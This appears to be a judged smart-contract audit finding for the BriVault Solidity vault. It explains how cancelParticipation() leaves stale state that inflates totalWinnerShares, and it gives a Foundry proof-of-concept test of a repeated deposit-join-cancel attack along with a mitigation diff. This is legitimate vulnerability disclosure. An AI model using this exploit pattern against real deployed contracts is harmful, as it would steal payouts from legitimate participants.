BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

cancelParticipation() Leaves Ghost State, Inflating totalWinnerShares

calvinkimani

Root + Impact

Description

The incomplete state cleanup in BriVault.sol::cancelParticipation() will cause a loss of winnings for legitimate winners as an attacker will deposit, join, and cancel to get a full refund while leaving ghost share data that inflates totalWinnerShares, reducing all winners' payouts with zero cost to the attacker.**

In BriVault.sol:275-289, the cancelParticipation() function only partially cleans up user state:

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0; // Cleared
​
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares); // Shares burned
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount); // Refund sent
}

Missing cleanup:

  • usersAddress[] still contains user's address

  • userToCountry[user] still has team selection

  • userSharesToCountry[user][countryId] still has old share count

  • numberOfParticipants not decremented

  • totalParticipantShares not reduced

This creates "ghost shares" because _getWinnerShares() (lines 191-198) iterates through the usersAddress[] array:

function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Counts ghost shares!
}
return totalWinnerShares;
}

Even though the user has:

  • Zero actual shares (balanceOf(user) == 0)

  • Received full refund

  • No stake in the outcome

Their old userSharesToCountry[] values are still counted in totalWinnerShares, inflating the denominator and reducing everyone's payouts.

Risk

Likelihood:

  1. Owner needs to call setCountry() to initialize teams array

  2. Attacker needs to have deposited at least minimumAmount + participationFee worth of assets

  3. Attacker needs to call joinEvent() before calling cancelParticipation()

  4. Event must not have started yet (block.timestamp < eventStartDate)

Impact:

Legitimate winners suffer an approximate loss proportional to the ghost share inflation, while the attacker loses only the participation fee (1.5% × deposit × iterations).

Proof of Concept

Attacker deposits, joins event, then cancels to get full refund. However, cancelParticipation() doesn't clean up joinEvent state:

  • usersAddress[] still contains attacker

  • userSharesToCountry[] still has old share values

When _getWinnerShares() loops through usersAddress[], it counts ghost shares, inflating totalWinnerShares and reducing all legitimate winners' payouts.

function test_InflatedShares_CancelParticipationRepeated() public {
// Victim deposits and joins
vm.startPrank(victim);
token.approve(address(vault), 10 ether);
vault.deposit(10 ether, victim);
vault.joinEvent(0);
uint256 victimShares = vault.balanceOf(victim);
vm.stopPrank();
​
// Attacker repeats deposit -> join -> cancel 10 times
vm.startPrank(attacker);
token.approve(address(vault), 1000 ether);
​
uint256 depositAmount = 50 ether;
​
for (uint256 i = 0; i < 10; i++) {
vault.deposit(depositAmount, attacker);
vault.joinEvent(0);
vault.cancelParticipation();
}
​
vm.stopPrank();
​
// Fast forward and set winner
vm.warp(eventEndDate + 1);
vm.prank(owner);
vault.setWinner(0);
​
uint256 totalWinnerShares = vault.totalWinnerShares();
​
// Verify massive inflation
assertTrue(totalWinnerShares > victimShares * 10, "Should be inflated by 10x+ ghost shares");
​
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 victimPayout = (victimShares * vaultBalance) / totalWinnerShares;
uint256 victimExpected = vaultBalance;
​
// Verify severe payout reduction
assertTrue(victimPayout < victimExpected / 10, "Victim should receive <10% of expected");
assertGt(victimExpected - victimPayout, 0, "Significant loss should occur");
}

Recommended Mitigation

Clean up all state when user cancels participation:

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
​
+ // Clean up join event state
+ if (bytes(userToCountry[msg.sender]).length > 0) {
+ // Find user's country ID
+ for (uint256 i = 0; i < teams.length; i++) {
+ if (keccak256(abi.encodePacked(teams[i])) == keccak256(abi.encodePacked(userToCountry[msg.sender]))) {
+ userSharesToCountry[msg.sender][i] = 0;
+ break;
+ }
+ }
+
+ delete userToCountry[msg.sender];
+
+ // Remove from usersAddress array (swap and pop)
+ for (uint256 i = 0; i < usersAddress.length; i++) {
+ if (usersAddress[i] == msg.sender) {
+ usersAddress[i] = usersAddress[usersAddress.length - 1];
+ usersAddress.pop();
+ break;
+ }
+ }
+
+ numberOfParticipants--;
+ totalParticipantShares -= shares;
+ }
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
Updates

Appeal created

bryanconquer Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!